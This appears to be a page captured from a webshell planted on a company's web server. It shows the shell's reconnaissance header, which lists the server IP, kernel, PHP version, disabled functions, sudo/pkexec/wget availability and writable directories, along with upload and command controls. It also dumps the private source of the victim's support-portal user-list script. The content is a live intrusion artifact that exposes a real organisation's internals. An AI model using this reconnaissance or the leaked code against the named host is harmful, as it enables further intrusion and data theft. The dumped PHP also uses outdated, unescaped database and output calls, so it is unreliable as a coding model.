403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/onesolution.com.hk/support/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/onesolution.com.hk/support/userlist.php
<?php require("checkuser.php"); ?>
<?
if ($logged_in == 1) {
} else {
	header('Location: logon.php');
}
?>
<?php require("configure.php"); ?>

<html>
<head>
<title>One Solution Limited - Support</title>
<link rel="stylesheet" href="main.css" type="text/css">
<meta http-equiv="Content-Type" content="text/html; charset=big5" />
<script language="JavaScript" type="text/javascript" src="richtext.js"></script>
<script type="text/javascript" src="calendarDateInput.js"></script>
<script type="text/javascript">
function ismaxlength(obj){
var mlength=obj.getAttribute? parseInt(obj.getAttribute("maxlength")) : ""
if (obj.getAttribute && obj.value.length>mlength)
obj.value=obj.value.substring(0,mlength)
}
</script>
</head>
<body>
<table border="0" cellpadding="1" cellspacing="1" width="100%">
<tr><td class='pageheader' align="left" valign="middle" height="100"><img src="images/iconUser.png">&nbsp;<b>User Management</b></td>
	<td class='content' align="center" width="150"></td>
</tr>
</table>

<a href="userindex.php" class="content"><img src="images/button_insert.gif" border="0">&nbsp;&nbsp;Add User</a>
<table border="0" cellpadding="1" cellspacing="1" width="550" cellpadding='1' cellspacing='1' bgcolor='#666666'>
<tr><td class="content" width="100" align='center' bgcolor='#FFFFFF'>Staff name</td>
	<td class="content" width="300" align='center' bgcolor='#FFFFFF'>Login ID</td>
	<td class="content" width="80" align='center' bgcolor='#FFFFFF'>Role</td>
	<td bgcolor='#FFFFFF' width="70"></td></tr>
<?
$sql = "select staffname, userid, staffid, case when roleid = 1 then 'Administrator' when roleid = 2 then 'Support Team' when roleid = 3 then 'Program Team' end as role ";
$sql .= "from SYS_STAFF ";
$sql .= "order by role, staffname";
$result = mysql_query($sql);

while ($row = mysql_fetch_array($result,MYSQL_ASSOC))
{
?>
	<tr><td class="content" bgcolor='#FFFFFF'><?=$row{'staffname'}?></td>
		<td class="content" bgcolor='#FFFFFF'><?=$row{'userid'}?></td>
		<td class="content" bgcolor='#FFFFFF'><?=$row{'role'}?></td>
		<td class="content" align='center' bgcolor='#FFFFFF'>
		<a href='userdetail.php?staffid=<?=$row{'staffid'}?>'><img src='images/button_edit.png' border='0' alt="Edit"></a></td></tr>
<?
}
?>
</table>

</body>
</html>
<?
function getSelect($field1, $field2)
{
	if ($field1 == $field2)
	{
		return "selected";
	}
	else
	{
		return "";
	}
}
?>

<?
function get_time_difference( $start, $end )
{
    $uts['start']      =    strtotime( $start );
    $uts['end']        =    strtotime( $end );
    if( $uts['start']!==-1 && $uts['end']!==-1 )
    {
        if( $uts['end'] >= $uts['start'] )
        {
            $diff    =    $uts['end'] - $uts['start'];
            if( $days=intval((floor($diff/86400))) )
                $diff = $diff % 86400;
            if( $hours=intval((floor($diff/3600))) )
                $diff = $diff % 3600;
            if( $minutes=intval((floor($diff/60))) )
                $diff = $diff % 60;
            $diff    =    intval( $diff );            
            return( array('days'=>$days, 'hours'=>$hours, 'minutes'=>$minutes, 'seconds'=>$diff) );
        }
        else
        {
            trigger_error( "Ending date/time is earlier than the start date/time", E_USER_WARNING );
        }
    }
    else
    {
        trigger_error( "Invalid date/time data detected", E_USER_WARNING );
    }
    return( false );
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit